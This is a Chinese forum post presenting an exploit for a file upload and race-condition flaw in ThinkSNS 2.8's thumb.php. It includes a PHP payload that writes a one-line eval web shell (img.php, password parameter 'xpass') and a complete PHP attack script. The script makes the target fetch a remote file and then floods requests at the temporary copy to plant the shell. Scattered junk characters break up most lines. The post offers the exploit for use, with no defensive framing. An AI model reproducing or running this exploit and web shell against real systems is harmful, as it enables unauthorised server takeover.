找回密码
 立即注册
查看: 2730|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本# d- g# _0 q  s- H( I2 P7 {
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
+ p1 U5 ^2 T3 t2 B% i0 O漏洞文件
3 g7 F! @& Z; J; F" {存在漏洞的文件为:thumb.php) h# l8 a1 b! j
作者:韦鲲鹏
) A/ P- m. z7 I) ^1、        准备如下PHP文件并上传到服务器(自己的)。0 d3 @& f7 E# d" a# p
文件内容如下:
+ i  o3 k3 a: X: o) z<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
' M% k8 L8 M; q8 A7 {2、        计算出临时的文件名:) Z& ^7 K) ?/ D- K( ]) A' p
这里我们可以看文件的99行(刚刚是不是没注意呀!)。. j, T. V! m0 x& M+ u8 b

; S2 @! v9 v6 O! g6 N$ h( V3、        上传临时文件。) j" R4 ]4 _+ E) x4 Q
4、        访问临时文件。& Q- [7 H3 F2 _: n% l
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
& D, M# |% I) H! ~Exploit文件内容如下:(这个我就不详细解释了)
2 u! Y6 R5 X- ?9 G<?php
( t2 C) Q% y" N3 V, yerror_reporting(0);; r' U+ F7 x) }  J
set_time_limit(0);0 \6 d: U! m8 O! e8 ~
ini_set(“default_socket_timeout”, 5);; J9 ]8 p8 E. h% d. @" r
function http_send($host, $port, $headers) {
, b1 K0 z; H" Y# S8 a! V$ M2 v$fp = fsockopen($host, $port);% z9 ^; `- Y! {3 g2 n& u4 F% g1 I  i
if (!$fp) die(‘Connection -> fail’);
" [. S" w% d4 e9 j( ffputs($fp, $headers);
7 I( R- I9 ~' e; D; |# mreturn $fp;& a+ V7 W, S1 S% O% R7 ^
}
# q0 C0 _7 [3 n+ B( cfunction http_recv($fp) {" B: _; j  {! I, C
$ret=”";
& v7 z0 K( a: f* zwhile (!feof($fp))
2 d3 C, [( k6 z0 o1 |$ret.= fgets($fp, 1024);; k2 c3 H8 }8 `( F- i$ z9 D9 t8 C* z
fclose($fp);* R" h5 u& @8 W* V2 s* N8 U
return $ret;
' s& q6 O, u! H) u/ U; o}. G) v% ?1 Z. M7 X4 Y
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
2 @  q* T9 m2 r$ F! E; Qprint “# Discovered by 韦鲲鹏 #\n\n”;; ?3 }* {- C, s* I  _
if ($argc < 4) {
1 O% \1 ~+ p( F7 k) Hprint “Usage:   php <host> <path> <romote_url>\n”;1 J' R  |$ Q/ s9 O, B
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;0 G" @& J5 X3 _8 j1 A( e7 w
die();) R( ^  w/ o& x4 K# {
}( C6 A; E8 }9 j, _, v
$host = $argv[1];
0 _  L, N- \4 G. I/ X+ j/ q. h5 w$path = $argv[2];
( a; A/ Z/ k  @. q1 x# G9 {/ ?2 e$ f1 j$url = $argv[3];
9 M& k; p* l9 a% \8 @( X  y% b* P) G$i=0;
6 y, T/ y. z0 ~% m/ [% b5 P//上传数据包
! w7 ^* L0 Z) y0 R  ~" |$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;# b$ ^& b* h$ y/ a7 U
$headers_up .= “Host: “.$host.”\r\n”;
9 c9 Q, z6 H; |" z/ D4 ~7 s) w) t; W$headers_up .= “Connection: close\r\n\r\n”;' C. n5 \; q0 `
echo $headers_up;
4 k# J5 A2 U* J) }0 h. Z/ g; c$ ?  }3 ~& N$ n//临时文件访问数据包
2 N& D: K# a9 o/ r. Z$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
& D, K! @) Z4 ~! s5 v$ N8 h* c! t$headers .= “Host: “.$host.”\r\n”;
; {" D% t2 F1 g+ s3 C# T$headers .= “Connection: close\r\n\r\n”;
/ |: M/ `( B- N; B8 G: Uecho $headers;
7 ^' N. ?% [; T1 n) D, iwhile(++$i<10) {
- [" v# P3 x* ]- m2 Rfclose(http_send($host, 80, $headers));
5 W7 r9 l( J4 C! K4 f}
4 ?# {/ ~  N' f! Y+ X# {9 {7 g! `fclose(http_send($host, 80, $headers_up));
$ i. A6 K$ O- C& _* H9 uwhile(++$i<50) {* s2 b) N4 N5 E* v
fclose(http_send($host, 80, $headers));+ F1 @1 s! d' X7 G8 K* A
}5 F0 K+ v0 `0 D
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;& A: C8 J4 I+ H+ D+ Q
$headers .= “Host: “.$host.”\r\n”;. X" `5 W6 N+ U
$headers .= “Connection: close\r\n\r\n”;
" n4 S+ m; c9 f6 a, ?$res=http_recv(http_send($host, 80, $headers));
! m$ B) O! }- e' q) b9 tif(preg_match(‘/200 OK/’,$res)) {
4 {! X1 D1 n7 {" {$ v) Pprint “Success!\n\n”;
2 A- Y( V1 O; Q/ q  \3 ~} else {2 o4 T  n' |- c* b. F2 _. ^" W
print “Fail!\n\n”;$ A$ E3 \! T" w/ D" @
}
1 h* V% i9 f5 u4 ~?>
! \- B+ ]7 p6 f7 r' U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表